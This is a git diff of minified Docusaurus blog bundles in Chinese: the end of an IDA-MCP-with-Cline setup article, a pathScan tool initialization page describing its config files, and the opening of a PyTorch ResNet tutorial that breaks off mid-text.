Key\uff09\u8fd9\u91cc\u6211\u4f7f\u7528\u7684\u6296\u97f3\u7684\u706b\u5c71\u65b9\u821f\u7684API\u5f15\u7528\uff08\u524d\u9762\u5df2\u7ecf\u8bb2\u8fc7\u600e\u4e48\u53bb\u6ce8\u518c\uff09"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917133930243",src:i(57919).A+"",width:"431",height:"691"})}),"\n",(0,d.jsx)(s.p,{children:"\u6216\u8005\u4f7f\u7528\u672c\u5730ollam\u6a21\u578b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917124817498",src:i(20076).A+"",width:"504",height:"848"})}),"\n",(0,d.jsx)(s.p,{children:"\u5230IDA\u4e2d\u542f\u52a8MCP-Server\uff08\u7f16\u8f91\u2013\u63d2\u4ef6\u2013MCP)"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"IDA-MCP-ida-\u542f\u52a8mcp-server",src:i(51650).A+"",width:"863",height:"1039"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917114852108",src:i(10013).A+"",width:"1080",height:"736"})}),"\n",(0,d.jsx)(s.p,{children:"\u5728Cline\u7684\u754c\u9762\u4e0a\u4e0b\u90fd\u53ef\u4ee5\u627e\u5230\u670d\u52a1\u5668\u56fe\u6807\uff0c\u70b9\u51fb\u6dfb\u52a0MCP\u670d\u52a1\u5668\uff0c\u6dfb\u52a0\u6210\u529f\u540e\uff0c\u5c31\u53ef\u4ee5\u542f\u7528\uff0c\u5f00\u5173\u53d8\u201c\u7eff\u8272\u201d\uff1a"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917123458381",src:i(44635).A+"",width:"765",height:"752"})}),"\n",(0,d.jsx)(s.p,{children:"\u53ef\u4ee5\u770b\u5230\u6210\u529f\u8fdb\u884c\u8054\u52a8"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917133840479",src:i(50287).A+"",width:"1080",height:"679"})}),"\n",(0,d.jsx)(s.p,{children:"\u672c\u6587\u76f8\u5173\u7684\u5de5\u5177\u4e0b\u8f7d\u5730\u5740\uff1a\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7\uff0c\u5173\u952e\u5b57\u56de\u590d\u201c20251105\u201d"})]})}function p(e={}){const{wrapper:s}={...(0,a.R)(),...e.components};return s?(0,d.jsx)(s,{...e,children:(0,d.jsx)(r,{...e})}):r(e)}},24296:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png"},27581:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png"},28453:(e,s,i)=>{i.d(s,{R:()=>c,x:()=>t});var n=i(96540);const d={},a=n.createContext(d);function c(e){const s=n.useContext(a);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function t(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:c(e.components),n.createElement(a.Provider,{value:s},e.children)}},29811:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png"},36971:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png"},38371:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png"},41551:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png"},44133:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png"},44635:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png"},44723:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png"},45077:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png"},46374:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png"},50125:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png"},50287:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png"},51650:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png"},51906:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png"},52253:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png"},57919:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png"},64410:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png"},65343:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png"},71046:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png"},71657:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png"},72884:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png"},72897:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png"},74772:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png"},75255:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png"},75373:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png"},77141:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png"},78420:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png"},82676:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png"},85987:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png"},86077:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png"},86503:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png"},90079:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png"},90899:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png"},94008:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png"},96730:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png"},97398:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png"},98443:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png"}}]); \ No newline at end of file diff --git a/assets/js/8496991d.cbf18f22.js b/assets/js/8496991d.cbf18f22.js new file mode 100644 index 0000000..4f657ce --- /dev/null +++ b/assets/js/8496991d.cbf18f22.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9191],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>d});var c=t(96540);const s={},i=c.createContext(s);function l(e){const n=c.useContext(i);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),c.createElement(i.Provider,{value:n},e.children)}},92281:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>r,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>c,toc:()=>a});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","title":"\u521d\u59cb\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/02.\u521d\u59cb\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/02.\u521d\u59cb\u5316.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4e0b\u8f7d\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5"},"next":{"title":"\u547d\u4ee4\u53c2\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570"}}');var s=t(74848),i=t(28453);const l={},d="\u521d\u59cb\u5316path",r={},a=[{value:"\u5f00\u59cb",id:"\u5f00\u59cb",level:2},{value:"\u914d\u7f6e\u6587\u4ef6",id:"\u914d\u7f6e\u6587\u4ef6",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:50:57"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"\u521d\u59cb\u5316path",children:"\u521d\u59cb\u5316path"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,s.jsx)(n.a,{href:"./%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85.html",children:"pathScan"})," \u5b8c\u6210\u540e\uff0cpathScan\u9700\u8981\u5bf9\u5176\u8fdb\u884c\u521d\u59cb\u5316\u624d\u80fd\u6b63\u5e38\u8fd0\u884c"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5f00\u59cb",children:"\u5f00\u59cb"}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u6b21\u8fd0\u884c\u540e\uff0c\u5373\u53ef\u5b8c\u6210\u521d\u59cb\u5316\uff0c",(0,s.jsx)(n.code,{children:".check"})," \u521b\u5efa\u5b8c\u6210\u540e\uff0c\u5219\u4e0d\u4f1a\u518d\u6b21\u8fdb\u884c\u521d\u59cb\u5316"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650224.png",alt:"image-20230815120938498"})}),"\n",(0,s.jsx)(n.h2,{id:"\u914d\u7f6e\u6587\u4ef6",children:"\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd0\u884c\u6240\u9700\u7684\u914d\u7f6e\u6587\u4ef6\u5747\u5728 ",(0,s.jsx)(n.code,{children:"$HOME/.config/pathScan"})," \u4e2d\uff0c\u5f53\u7136\u8fd9\u4e9b\u6587\u4ef6\u5747\u4e0d\u7528\u63d0\u524d\u521b\u5efa\uff0c\u521d\u59cb\u5316\u65f6\uff0c\u4f1a\u81ea\u52a8\u521b\u5efa\u5b8c\u6bd5"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"provider-config.yaml"})," \u4e3a\u7f51\u7edc\u7a7a\u95f4\u6d4b\u7ed8\u641c\u7d22\u5f15\u64ce\u7684API\u914d\u7f6e\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2akey\uff0c\u8fd0\u884c\u65f6\u968f\u673a\u9009\u62e9key"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650225.png",alt:"image-20230815122418577"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"config.yaml"})," \u4e3a\u547d\u4ee4\u884c\u914d\u7f6e\uff0c\u5982\u679c\u4f60\u4e0d\u60f3\u8f93\u5165\u8fc7\u957f\u7684\u547d\u4ee4\uff0c\u5219\u53ef\u4ee5\u5c06\u53c2\u6570\u914d\u7f6e\u5728\u8be5\u6587\u4e2d\uff0c\u8fd0\u884c\u65f6\u4f1a\u81ea\u52a8\u8bfb\u53d6\u8be5\u6587\u4ef6\u5185\u5bb9"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650226.png",alt:"image-20230815122809534"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"dict"})," \u5b58\u653e\u7684\u9ed8\u8ba4\u8def\u5f84\u5b57\u5178"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650227.png",alt:"image-20230815123631291"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"match-config"})," \u6307\u7eb9\u5e93 ",(0,s.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan-match",children:"pathScan-match"})," \u4e2d\u7684\u6240\u6709\u6307\u7eb9\u6587\u4ef6"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650228.png",alt:"image-20230815124747394"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"js"})," html\u683c\u5f0f\u8f93\u51fa\u65f6\u6240\u9700\u8981\u7684\u6a21\u677f\u6587\u4ef6"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191650229.png",alt:"image-20230815125015508"})})]})}function o(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/866c1a54.7fb1fa5d.js b/assets/js/866c1a54.7fb1fa5d.js new file mode 100644 index 0000000..af6e312 --- /dev/null +++ b/assets/js/866c1a54.7fb1fa5d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6593],{5411:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg"},15976:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg"},19243:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>r});var l=s(96540);const t={},i=l.createContext(t);function o(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),l.createElement(i.Provider,{value:e},n.children)}},39438:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>p,frontMatter:()=>o,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","title":"4.1 ResNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.1 ResNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.1 ResNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u56db\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"},"next":{"title":"4.2 GoogleNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"}}');var t=s(74848),i=s(28453);const o={},r="4.1 ResNet.md",a={},c=[{value:"1 \u57fa\u672c\u4ecb\u7ecd",id:"1-\u57fa\u672c\u4ecb\u7ecd",level:2},{value:"2 \u6e90\u7801\u89e3\u8bfb",id:"2-\u6e90\u7801\u89e3\u8bfb",level:2},{value:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5",id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",level:3},{value:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",level:3},{value:"2.2.1 Shortcut Connection.",id:"221-shortcut-connection",level:4},{value:"2.2.2 BasicBlock",id:"222-basicblock",level:4},{value:"2.2.3 BottleNeck",id:"223-bottleneck",level:4},{value:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784",id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",level:3},{value:"3 \u603b\u7ed3",id:"3-\u603b\u7ed3",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"41-resnetmd",children:"4.1 ResNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"41-resnet",children:"4.1 ResNet"}),"\n",(0,t.jsx)(e.p,{children:"\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc(ResNet)\u662f\u7531\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u63d0\u51fa\u7684\u3002\u5b83\u7684\u4e3b\u8981\u8d21\u732e\u662f\u53d1\u73b0\u4e86\u5728\u589e\u52a0\u7f51\u7edc\u5c42\u6570\u7684\u8fc7\u7a0b\u4e2d\uff0c\u968f\u7740\u8bad\u7ec3\u7cbe\u5ea6(Training accuracy)\u9010\u6e10\u8d8b\u4e8e\u9971\u548c\uff0c\u7ee7\u7eed\u589e\u52a0\u5c42\u6570\uff0ctraining accuracy \u5c31\u4f1a\u51fa\u73b0\u4e0b\u964d\u7684\u73b0\u8c61\uff0c\u800c\u8fd9\u79cd\u4e0b\u964d\u4e0d\u662f\u7531\u8fc7\u62df\u5408\u9020\u6210\u7684\u3002\u4ed6\u4eec\u5c06\u8fd9\u4e00\u73b0\u8c61\u79f0\u4e4b\u4e3a\u201c\u9000\u5316\u73b0\u8c61\uff08Degradation\uff09\u201d\uff0c\u5e76\u9488\u5bf9\u9000\u5316\u73b0\u8c61\u53d1\u660e\u4e86 \u201c\u5feb\u6377\u8fde\u63a5\uff08Shortcut connection\uff09\u201d\uff0c\u6781\u5927\u7684\u6d88\u9664\u4e86\u6df1\u5ea6\u8fc7\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56f0\u96be\u95ee\u9898\u3002\u795e\u7ecf\u7f51\u7edc\u7684\u201c\u6df1\u5ea6\u201d\u9996\u6b21\u7a81\u7834\u4e86100\u5c42\u3001\u6700\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u751a\u81f3\u8d85\u8fc7\u4e861000\u5c42\u3002\uff08\u5728\u6b64\uff0c\u5411\u5df2\u6545\u7684\u5b59\u5251\u535a\u58eb\u8868\u793a\u5d07\u9ad8\u7684\u656c\u610f\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u672c\u6587\u4f60\u5c06\u5b66\u4e60\u5230\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u68af\u5ea6\u6d88\u5931/\u7206\u70b8\u7684\u7b80\u4ecb"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u4e3a\u4ec0\u4e48\u8981\u8bbe\u8ba1BasicBlock\u548cBottleneck\u4e24\u79cd\u7ed3\u6784"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u7684expansion\u4f5c\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"1-\u57fa\u672c\u4ecb\u7ecd",children:"1 \u57fa\u672c\u4ecb\u7ecd"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\uff0c\u4eba\u4eec\u53d1\u73b0\u591a\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u7684\u6548\u679c\u5927\u4e8e\u5355\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u3002\u4e8e\u662f\u5f88\u591a\u4eba\u6f5c\u610f\u8bc6\u8ba4\u4e3a\u7f51\u7edc\u7684\u5c42\u6570\u8d8a\u591a\uff0c\u5176\u6548\u679c\u5c31\u4f1a\u8d8a\u597d\u3002\u4f46\u662f\u5f53\u65f6\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u53d1\u73b0\u52a0\u6df1\u7f51\u7edc\u7684\u6df1\u5ea6\u540e\uff0c\u6574\u4e2a\u7f51\u7edc\u7684\u6548\u679c\u53cd\u800c\u53d8\u5dee\u4e86\u8bb8\u591a\u3002\u4ed6\u4eec\u8ba4\u4e3a\u5f88\u6df1\u7684\u7f51\u7edc\u65e0\u6cd5\u8bad\u7ec3\u7684\u539f\u56e0\u53ef\u80fd\u662f\u7f51\u7edc\u5728\u4fe1\u606f\u4f20\u9012\u7684\u65f6\u5019\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\uff0c\u635f\u8017\u7b49\u95ee\u9898\uff0c\u540c\u65f6\u8fd8\u53ef\u80fd\u51fa\u73b0\u68af\u5ea6\u6d88\u5931\u6216\u8005\u68af\u5ea6\u7206\u70b8\u73b0\u8c61\u3002\u9488\u5bf9\u8fd9\u4e2a\u95ee\u9898\uff0c\u4ed6\u4eec\u63d0\u51fa\u4e86ResNet\u4ee5\u671f\u671b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0cResNet\u7684\u51fa\u73b0\u4e5f\u8ba9\u795e\u7ecf\u7f51\u7edc\u9010\u6e10\u771f\u6b63\u8d70\u5411\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u3002ResNet\u6700\u5927\u7684\u8d21\u732e\u5728\u4e8e\u6dfb\u52a0\u4e86shortcut connection\u5c06\u8f93\u5165\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4e00\u5b9a\u7a0b\u5ea6\u7f13\u89e3\u4e86\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u5e76\u63d0\u9ad8\u4e86\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7684\u6548\u679c\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u8be6\u7ec6\u7684\u89e3\u91ca\u4e00\u4e0b",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u6d88\u5931"}),"\u548c",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u7206\u70b8"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u7684\u6839\u6e90\u4e3b\u8981\u662f\u56e0\u4e3a\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7ed3\u6784\u4ee5\u53ca\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\uff0c\u76ee\u524d\u4f18\u5316\u795e\u7ecf\u7f51\u7edc\u7684\u65b9\u6cd5\u90fd\u662f\u57fa\u4e8e\u53cd\u5411\u4f20\u64ad\u7684\u601d\u60f3\uff0c\u5373\u6839\u636e\u635f\u5931\u51fd\u6570\u8ba1\u7b